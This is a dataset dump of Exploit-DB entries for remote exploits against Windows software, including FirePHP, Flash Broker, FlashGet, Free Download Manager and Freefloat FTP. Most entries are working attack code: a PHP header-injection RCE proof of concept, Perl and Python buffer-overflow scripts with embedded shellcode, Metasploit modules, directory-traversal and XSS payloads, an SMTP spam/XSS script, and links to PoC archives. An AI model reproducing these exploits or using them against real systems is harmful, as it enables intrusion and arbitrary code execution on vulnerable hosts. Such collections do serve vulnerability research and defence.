deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24961
Description: FirePHP Firefox Plugin 0.7.1 - Remote Command Execution
Type: remote
Platform: windows
Date: 2013-04-17
Author: Wireghoul

Exploit:
# Exploit Title: Firephp firefox plugin RCE
# Date: 17/04/2013
# Exploit Author: Wireghoul
# Vendor Homepage: www.firephp.org
# Software Link:
https://addons.mozilla.org/en-US/firefox/addon/firephp/versions/
# Version: All versions up to and including 0.7.1
# Tested on: Windows 7
# Advisory: http://www.justanotherhacker.com/advisories/JAHx132.txt

<?php
/*************************************************************
 * FirePHP Firefox plugin RCE PoC                            *
 * Written by Wireghoul - http://www.justanotherhacker.com   *
 * Greetz to @bcoles urbanadventurer @malerisch              *
 *************************************************************/

// XUL code to launch calc.exe
$exploit =  '{"RequestHeaders":{"1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","UR<script>';
$exploit.= 'var lFile=Components.classes[\"@mozilla.org/file/local;1\"].createInstance(Components.interfaces.nsILocalFile);';
$exploit.= 'lFile.initWithPath(\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\calc.exe\");';
$exploit.= 'var process=Components.classes[\"@mozilla.org/process/util;1\"].createInstance(Components.interfaces.nsIProcess);';
$exploit.= 'process.init(lFile);';
$exploit.= 'process.run(true,[],0);void(0);';
$exploit.= '<\/SCRIPT>":"PWNT"}}';

// Send FirePHP dump data
header("X-Wf-Protocol-1: http://meta.wildfirehq.org/Protocol/JsonStream/0.2");
header("X-Wf-1-Plugin-1: http://meta.firephp.org/Wildfire/Plugin/FirePHP/Library-FirePHPCore/0.3");
header("X-Wf-1-Structure-1: http://meta.firephp.org/Wildfire/Structure/FirePHP/Dump/0.1");
$payload= "X-Wf-1-1-1-1: ";
$payload.= strlen($exploit).'|'.$exploit."|\r\n";
header($payload);
?>
<html>
<head>
  <title>FirePHP Firefox plugin RCE PoC</title>
</head>
<body>
PWNT!
</body>
</html>
Exploit-DB #37840
Description: Flash Broker-Based - Sandbox Escape via Forward Slash Instead of Backslash
Type: remote
Platform: windows
Date: 2015-08-19
Author: KeenTeam

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=278&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

FlashBroker - Junction Check Bypass With Forward Slash IE PM Sandbox Escape

1. Windows 8.1 Internet Explorer Protected Mode Bypass in FlashBroker

FlashBroker is vulnerable to NTFS junction attack to write an arbitrary file to the filesystem under user permissions.

There is a bad check in FlashBroker BrokerCreateFile method and BrokerMoveFileEx method. FlashBroker only considers "\" as delimiter. If the destination includes "/", FlashBroker will use a wrong destination folder for check.

The PoC writes calc.bat to startup folder. It has been tested by injecting the dll into 32-bit low integrity level IE process with Adobe Flash Player 16.0.0.305 (KB3021953) installed. It does not work in IE11 EPM as it needs to write normally to the temporary folder to setup the junction.

2. Credit
Jietao Yang of KeenTeam (@K33nTeam) is credited for the vulnerability.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37840.zip
Exploit-DB #37842
Description: Flash Broker-Based - Sandbox Escape via Timing Attack Against File Moving
Type: remote
Platform: windows
Date: 2015-08-19
Author: KeenTeam

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=280&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

FlashBroker - BrokerMoveFileEx TOCTOU IE PM Sandbox Escape

1. Windows 8.1 Internet Explorer Protected Mode Bypass in FlashBroker

FlashBroker is vulnerable to NTFS junction attack to write an arbitrary file to the filesystem under user permissions.

There is a race condition in FlashBroker BrokerMoveFileEx method. This race can be won by using an oplock to wait for the point where the BrokerMoveFileEx method opens the original file and then making destination to be a junction.

The PoC writes calc.bat to startup folder. It has been tested by injecting the dll into 32-bit low integrity level IE process with Adobe Flash Player 16.0.0.305 (KB3021953) installed. It does not work in IE11 EPM as it needs to write normally to the temporary folder to setup the junction.

2. Credit
Jihui Lu of KeenTeam (@K33nTeam) is credited for the vulnerability.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37842.zip
Exploit-DB #37841
Description: Flash Broker-Based - Sandbox Escape via Unexpected Directory Lock
Type: remote
Platform: windows
Date: 2015-08-19
Author: KeenTeam

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=279&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

FlashBroker - Junction Check Bypass With Locked Directory IE PM Sandbox Escape

1. Windows 8.1 Internet Explorer Protected Mode Bypass in FlashBroker

FlashBroker is vulnerable to NTFS junction attack to write an arbitrary file to the filesystem under user permissions.

There is a bad check in FlashBroker BrokerCreateFile method and BrokerMoveFileEx method. FlashBroker uses CreateFile to open the destination folder for check. If CreateFile fails, the destination will be considered as a valid path. However, FlashBroker uses dwShareMode as 0 in CreateFile, which make CreateFile always fail if handle of the destination folder is held by other.

The PoC writes calc.bat to startup folder. It has been tested by injecting the dll into 32-bit low integrity level IE process with Adobe Flash Player 16.0.0.305 (KB3021953) installed. It does not work in IE11 EPM as it needs to write normally to the temporary folder to setup the junction.

2. Credit
Jietao Yang and Jihui Lu of KeenTeam (@K33nTeam) is credited for the vulnerability.

Proof of Concept:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37841.zip
Exploit-DB #361
Description: Flash FTP Server - Directory Traversal
Type: remote
Platform: windows
Date: 2004-07-22
Author: CoolICE

Exploit:
TestCode:
C:\>ftp localhost
Connected to server.
220 Flash FTP Server v2.1 ready...
User (server:(none)): CoolICE
331 Password required for CoolICE.
Password:
230 User CoolICE logged in.
ftp> get /winnt/system.ini
200 Port command successful.
150 Opening data connection for /winnt/system.ini.
226 File sent ok
ftp: 227 bytes received in 0.01Seconds 22.70Kbytes/sec
ftp>

--------------------------
C:\>ftp -d localhost
Connected to server.
220 Flash FTP Server v2.1 ready...
User (Server:(none)): anonymous
---> USER anonymous
331 Password required for anonymous.
Password:
---> PASS CoolICE@China.com
230 User anonymous logged in.
ftp> pwd
---> XPWD
257 "/C:/inetpub/ftproot/" is current directory.
ftp> cd /
---> CWD /
501 CWD failed. No permission
---> CWD ..
501 CWD failed. No permission
ftp> cd ...
---> CWD ...
250 CWD command successful. "C:/inetpub/ftproot/.../" is current directory.
ftp> cd /
---> CWD /
501 Cannot accept relative path using dot notation
ftp> pwd
---> XPWD
257 "/C:/" is current directory.

# milw0rm.com [2004-07-22]
Exploit-DB #4188
Description: Flash Player/Plugin Video - File Parsing Remote Code Execution
Type: remote
Platform: windows
Date: 2007-07-16
Author: yunshu

Exploit:
Author:(yunshu)
http://www.ph4nt0m.org

poc:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30288.zip (07162007-flash_flv_9.0.45.0_exp.zip)

# milw0rm.com [2007-07-16]
Exploit-DB #6256
Description: FlashGet 1.9.0.1012 - 'FTP PWD Response' Remote Buffer Overflow (SafeSEH)
Type: remote
Platform: windows
Date: 2008-08-17
Author: Guido Landi

Exploit:
#!/usr/bin/perl
# k`sOSe 08/17/2008
# bypass safeseh using flash9f.ocx.

use warnings;
use strict;
use IO::Socket;

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =	
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6b".
"\xa3\x03\x10\x83\xeb\xfc\xe2\xf4\x97\x4b\x47\x10\x6b\xa3\x88\x55".
"\x57\x28\x7f\x15\x13\xa2\xec\x9b\x24\xbb\x88\x4f\x4b\xa2\xe8\x59".
"\xe0\x97\x88\x11\x85\x92\xc3\x89\xc7\x27\xc3\x64\x6c\x62\xc9\x1d".
"\x6a\x61\xe8\xe4\x50\xf7\x27\x14\x1e\x46\x88\x4f\x4f\xa2\xe8\x76".
"\xe0\xaf\x48\x9b\x34\xbf\x02\xfb\xe0\xbf\x88\x11\x80\x2a\x5f\x34".
"\x6f\x60\x32\xd0\x0f\x28\x43\x20\xee\x63\x7b\x1c\xe0\xe3\x0f\x9b".
"\x1b\xbf\xae\x9b\x03\xab\xe8\x19\xe0\x23\xb3\x10\x6b\xa3\x88\x78".
"\x57\xfc\x32\xe6\x0b\xf5\x8a\xe8\xe8\x63\x78\x40\x03\x53\x89\x14".
"\x34\xcb\x9b\xee\xe1\xad\x54\xef\x8c\xc0\x62\x7c\x08\xa3\x03\x10";

my @targets = ( "\x82\x01\x02\x30", "\x82\x01\x02\x30", "\x0b\x02\x01\x30" );

if( !defined($ARGV[0]) or $ARGV[0] !~ /^(1|2|3)$/ )
{
	usage();
}

$ARGV[0]--;

my $sock = IO::Socket::INET->new( 
					LocalAddr => '0.0.0.0', 
					LocalPort => '21', 
					Listen => 1, 
					Reuse => 1 
					) || die($!);

while(my $csock = $sock->accept())
{

	print $csock "220 Hello ;)\r\n"; 
	read_sock($csock);

	print $csock "331 pwd please\r\n";
	read_sock($csock);

	print $csock "230 OK\r\n";
	read_sock($csock);

	print $csock "250 CWD command successful.\r\n";
	read_sock($csock);

	print $csock	"257 " . "\x22"	. 
			"\x41" x 324 . 

			"\xEB\x06\x90\x90" . # jump ahead
			$targets[$ARGV[0]] . # pop,pop,ret @ flash9f.ocx, thanks macromedia for avoiding /SAFESEH  ;)

			$shellcode .

			"\x90" x 840 .
			"\x22" .
			" is current directory.\r\n";
		
	close($csock);
	exit;
}



sub read_sock
{
	my ($sock) = @_;

	my $buf = <$sock>;

	print "[client] -> $buf";

}

sub usage
{
	print "usage: $0 [1,2,3]
  1 -> Windows XP SP1
  2 -> Windows XP SP2
  3 -> Windows XP SP3\n";
	exit;
}

# milw0rm.com [2008-08-17]
Exploit-DB #7868
Description: FlexCell Grid Control 5.6.9 - Remote File Overwrite
Type: remote
Platform: windows
Date: 2009-01-26
Author: Houssamix

Exploit:
<HTML>
<BODY>

<b>   
	Author : Houssamix    <br/>  <br/>  <br/>

	FlexCell Grid Control 5.6.9 Remote File Overwrite Exploit  <br/>
	
	ExportToXML() is vuln to <br/>

<b/>


<object id=hsmx classid="clsid:{2A7D9CCE-211A-4654-9449-718F71ED9644}"></object>

<SCRIPT>
/*
Report for Clsid: {2A7D9CCE-211A-4654-9449-718F71ED9644}
RegKey Safe for Script: Faux
RegKey Safe for Init: Faux
Implements IObjectSafety: Vrai
IDisp Safe:  Safe for untrusted: caller,data  
IPersist Safe:  Safe for untrusted: caller,data  
IPStorage Safe:  Safe for untrusted: caller,data  
*/
function hehe()
 {
     File = "c:\\hsmx.txt"
   hsmx.SaveFile(File)
 }

</SCRIPT>
<input language=JavaScript onclick=hehe() type=button value="execute exploit"><br>
</body>
</HTML>

# milw0rm.com [2009-01-26]
Exploit-DB #23135
Description: FloosieTek FTGatePro 1.2 - WebAdmin Interface Information Disclosure
Type: remote
Platform: windows
Date: 2003-09-10
Author: Phuong Nguyen

Exploit:
source: https://www.securityfocus.com/bid/8578/info

A weakness has been reported in the FTGatePro WebAdmin Interface that could allow an unauthorized user to gain sensitive information. The problem is believed to occur due to insufficient access controls put in place by FTGatePro. As a result, an attacker may be capable of viewing various configuration information, and possibly username and password data. Access to this data may aid an attacker in launching future attacks against the target system.

It should be noted that the FTGate Pro WebAdmin Interface is not accessible to the internet by default. 

http://www.example.org:8089/tools/ftgatedump.fts
http://www.example.org:8089/tools/ftgatedump.fts?command=1
Exploit-DB #23092
Description: FloosieTek FTGatePro 1.22 - Mail Server Cross-Site Scripting
Type: remote
Platform: windows
Date: 2003-09-02
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/8528/info

FloosieTek FTGatePro Mail Server is prone to a cross-site scripting vulnerability. A remote attacker could exploit this issue by enticing a legitimate user of the mail server to follow a malicious link with embedded HTML and script code. The attacker-supplied code would potentially be rendered in the user's browser when the link is followed.

This issue exists in the web administrative interface, which listens on port 8089 by default. 

http://www.example.com:8089/help/index.fts?href=<script>alert('C.S.S')</script>
Exploit-DB #23091
Description: FloosieTek FTGatePro 1.22 - Mail Server Full Path Disclosure
Type: remote
Platform: windows
Date: 2003-09-02
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/8527/info

FloosieTek FTGatePro Mail Server may disclose its installation path to remote attackers. This information could be useful when mounting further attacks against the system.

This issue exists in the web administrative interface, which listens on port 8089 by default. 

http://www.example.com:8089/utility/wmsecurity.fts
Exploit-DB #3063
Description: Formbankserver 1.9 - 'Name' Directory Traversal
Type: remote
Platform: windows
Date: 2007-01-01
Author: Bl0od3r

Exploit:
#!perl
#found by Bl0od3r
#visit http://dc3.dl.am  
#download:http://www.download-tipp.de/cgi-bin/jump.cgi?ID=8796
#developer:http://www.fersch.de/formbankserver/
use LWP::Simple;
sub usage
{
die("file.pl host.com /../file.txt");
}
$host= $ARGV[0];
$file= $ARGV[1];
if (!$host) {
die("No Host.");
} ; if (!$file) {
die("No File.");
}
getprint "http://".$host ."/cgi-bin/formbankcgi.exe/AbfrageForm?Name=".$ARGV[1]."%00";

# milw0rm.com [2007-01-01]
Exploit-DB #19942
Description: Fortech Proxy+ 2.30 - Remote Administration
Type: remote
Platform: windows
Date: 1999-12-26
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/1226/info

By default, Fortech Proxy+ can be remotely administered by any user possessing no authorization simply by connecting to http://target:4400/admin.

In addition, the telnet gateway is open by default which can accomodate for anonymous packet forwarding. 

To remotely administer Proxy+ (given that the default port has not been changed):
http://target:4400/admin
Exploit-DB #16777
Description: Free Download Manager 2.5 Build 758 - Remote Control Server Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-13
Author: Metasploit

Exploit:
##
# $Id: fdm_auth_header.rb 9812 2010-07-13 22:11:40Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	# w/auth required: [*] x.x.x.x  ( 401-Basic realm="FDM Remote control server" )
	# w/o auth: <title>FDM remote control server</title>
	# w/o auth: <div align="right"><span class="style1"><span class="style4">Free Download Manager remote control server.</span><br />
	# <span class="style4">Version 1.0.</span>  </span></div>
	# Extra url: /compdlds.req
	HttpFingerprint = { :pattern => [ /(FDM Remote control server|Free Download Manager)/i ] } # XXX: A custom body check would be nice too

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Free Download Manager Remote Control Server Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Free Download Manager
				Remote Control 2.5 Build 758. When sending a specially crafted
				Authorization header, an attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9812 $',
			'References'     =>
				[
					[ 'CVE', '2009-0183' ],
					[ 'OSVDB', '51745' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x0d\x0a",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Privileged'     => true,
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Free Download Manager 2.5 Build 758', { 'Ret' => 0x0040ae0f } ], # fdmwi.exe
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 2 2009'))
	end

	def exploit

		sploit =  rand_text_alpha_upper(1012 - payload.encoded.length) + payload.encoded
		sploit << [target.ret].pack('V') + make_nops(4) + [0xe8, -575].pack('CV')
		sploit = Rex::Text.encode_base64(sploit)

		print_status("Trying target #{target.name}...")

		send_request_raw(
			{
				'headers' => { 'Authorization' => "Basic #{sploit}" }
			}, 2)

		handler
		disconnect

	end

end
Exploit-DB #8916
Description: Free Download Manager 2.5/3.0 - Control Server Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2009-06-09
Author: His0k4

Exploit:
#!/usr/bin/python
#[*] Usage   : fdm.py [victime_ip]
#[*] Bug     : Free Download Manager 2.5/3.0 (Control Server) Remote BOF Exploit
#[*] Fix     : update
#[*] Founder : Praveen Darshanam   
#[*] Tested on :    Xp sp3 (en)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ)

import sys, socket
import base64
from time import *

host = sys.argv[1] 
port = 80

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x30\x42\x50\x42\x30\x4b\x58\x45\x54\x4e\x33\x4b\x58\x4e\x57"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x34\x4a\x31\x4b\x48"
"\x4f\x35\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x38\x46\x53\x4b\x38"
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x30\x45\x37\x45\x4e\x4b\x38"
"\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x38\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x35\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x48"
"\x41\x30\x4b\x4e\x49\x38\x4e\x55\x46\x52\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x56\x4b\x48\x42\x44\x42\x43\x45\x58\x42\x4c\x4a\x37"
"\x4e\x50\x4b\x38\x42\x44\x4e\x50\x4b\x38\x42\x37\x4e\x31\x4d\x4a"
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"
"\x42\x50\x42\x30\x42\x50\x4b\x48\x4a\x56\x4e\x43\x4f\x45\x41\x43"
"\x48\x4f\x42\x56\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x55\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x55\x4a\x56\x4a\x49"
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x46\x43\x46\x42\x50\x5a")

exploit = "3-1 "# a trick & a memory ;)
exploit += shellcode
exploit += "\x41"*(1003-len(shellcode))
exploit += "\xE8\x10\xFC\xFF\xFF"
exploit += "\x93\xB1\x40\x00" #jmp esp fdmwi
exploit += "\x90"*4
exploit += "\x73\xF1\x42\x42"

auth = base64.b64encode(exploit)


head =  'GET '+shellcode+' HTTP/1.1\r\n'
head += 'Host: '+sys.argv[1]+'\r\n'
head += 'Authorization: Basic '+auth+'\r\n\r\n'


i=0
#3a9liya MIAS xD
while i<=2:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host, port))
	s.send(head)
	i=i+1

# milw0rm.com [2009-06-09]
Exploit-DB #1193
Description: Free SMTP Server 2.2 - Spam Filter
Type: remote
Platform: windows
Date: 2005-09-02
Author: basher13

Exploit:
#!usr/bin/perl
#
#    FREE SMTP Spam Filter Exploit
# ------------------------------------
#  Infam0us Gr0up - Securiti Research
#
# Info: infamous.2hell.com
# Vendor URL: http://www.softstack.com/
# 

use IO::Socket;
use Socket;

print("\n   FREE SMTP Spam Filter Exploit\n");
print(" ---------------------------------\n\n");

# Changes to own feed 
$helo = "mail.test"; # HELO
$mfrom = "[support@vuln.test]"; # MAIL FROM
$rcpto = "[root@localhost]"; # RCPT TO
$date = "11 Feb 2099 12:07:10"; # Date
$from = "Micro SEX's"; # From mailer
$subject = "Check the new version.. ®®®\n".
"[b]VICKY VETTE[/b][i]is HOT Editon.Check it OUT!!. Free Nude Shop. Sex,video,picture,toys and XXX Chat Adults live!!![/i]".
"[br][a href=http://127.0.0.1 onMouseOver=alert(document.cookie);]Click Here[/a]"; # subject spammmer

if($#ARGV < 0 | $#ARGV > 1) { 
die "usage: perl $0 [IP/host] \nExam: perl $0 127.0.0.1 \n" };

$adr = $ARGV[0];
$prt = "25";

# Don't changes this one
$act1 = "\x48\x45\x4c\x4f $helo";
$act2 = "\x4d\x41\x49\x4c \x46\x52\x4f\x4d\x3a$mfrom";
$act3 = "\x52\x43\x50\x54 f\x54\x4f\x3a$rcpto";
$act4 = "\x44\x41\x54\x41";
$act5 = "\x44\x61\x74\x65\x3a $date";

$sub = 
"\x46\x72\x6f\x6d\x3a $from".
"\x53\x75\x62\x6a\x65\x63\x74\x3a $subject\x2e".
"\x51\x55\x49\x54";

print "[+] Connect to $adr..\n";
$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "[-] Error: can't connect to $adr:$prt\n";
print "[+] Connected!\n";
$remote->autoflush(1);
print "[*] Send HELO..";
print $remote "$act1" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send MAIL FROM..";
print $remote "$act2" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send RCPT TO..";
print $remote "$act3" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send DATA..";
print $remote "$act4" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send DATE..";
print $remote "$act5" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send Sub Mail..";
print $remote "$sub" or die "\n[-] Error: can't send xploit code\n";
print "[OK]\n";
print "[*] QUIT..\n";
print "[+] MAIL SPAMWNED!\n\n";
close $remote;
print "press any key to exit..\n";
$bla= [STDIN];

# milw0rm.com [2005-09-02]
Exploit-DB #17540
Description: Freefloat FTP Server - 'MKD' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2011-07-18
Author: James Fitts

Exploit:
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Freefloat FTP Server MKD Command Stack Overflow',
			'Description'    => %q{
						This module exploits a buffer overflow vulnerability
						found in the MKD command in the Freefloat FTP server.
			},
			'Author'         => [
						'C4SS!0 G0M3S',		# Initial Discovery
						'James Fitts'	# Metasploit Module
					],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/17539/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space' => 700,
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3', 
						{ 
							'Ret' => 0x7cb97475, # jmp esp from shell32.dll
							'Offset' => 247
						} 
					],
				],
			'DisclosureDate' => 'Jul 17 2011',
			'DefaultTarget'	=> 0))
	end

	def exploit
		connect_login

		print_status("Trying target #{target.name}...")

		buf = make_nops(target['Offset']) + [target.ret].pack('V')
		buf << make_nops(20)
		buf << payload.encoded

		send_cmd( ['MKD', buf] , false )

		handler
		disconnect
	end

end